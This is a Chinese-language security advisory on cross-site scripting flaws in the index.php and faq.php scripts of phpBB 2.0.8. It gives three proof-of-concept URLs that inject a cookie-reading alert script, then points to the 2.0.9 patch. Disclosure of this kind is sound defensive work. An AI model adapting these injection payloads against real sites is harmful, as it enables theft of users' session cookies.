发布日期：2004-07-16
更新日期：2004-07-22

受影响系统：

phpBB Group phpBB 2.0.8 a
phpBB Group phpBB 2.0.8

不受影响系统：

phpBB Group phpBB 2.0.9

描述：

---

BUGTRAQ  ID: 10738

phpBB是一款由PHP编写的WEB论坛应用程序，支持多种数据库系统，可使用在多种Unix和Linux操作系统下。

phpBB多个脚本对用户提交URI输入缺少充分过滤，远程攻击者可以利用这个漏洞进行跨站脚本攻击，可能获得敏感信息。

phpBB包含的'index.php'和'faq.php'脚本不正确过滤用户提交的URI输入，提交包含恶意脚本代码的数据作为参数，当其他用户浏览时，可导致基于验证的敏感信息泄露。

<*来源：Janek Vind （come2waraxe@yahoo.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=108999024506020&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Janek Vind （come2waraxe@yahoo.com）提供了如下测试方法：

B1 - XSS in "index.php":

http://localhost/phpbb208/index.php?category_rows[0][cat_id]=1
&category_rows[0][cat_title]=waraxe&lt;script&gt;alert(document.cookie);&lt;/script&gt;
&category_rows[0][cat_order]=99


B2 - XSS in "language\lang_english\lang_faq.php":

http://localhost/phpbb208/faq.php?
faq[0][0]=f00&lt;script&gt;alert(document.cookie);&lt;/script&gt;bar&faq[0][1]=waraxe


B3 - XSS in "language\lang_english\lang_bbcode.php ":

http://localhost/phpbb208/faq.php?mode=bbcode&
faq[0][0]=f00&lt;script&gt;alert(document.cookie);&lt;/script&gt;bar&faq[0][1]=waraxe

建议：

---

厂商补丁：

phpBB Group
-----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

phpBB Group Upgrade phpBB-2.0.9.zip
http://prdownloads.sourceforge.net/phpbb/phpBB-2.0.9.zip?download

浏览次数：3771
严重程度：0（网友投票）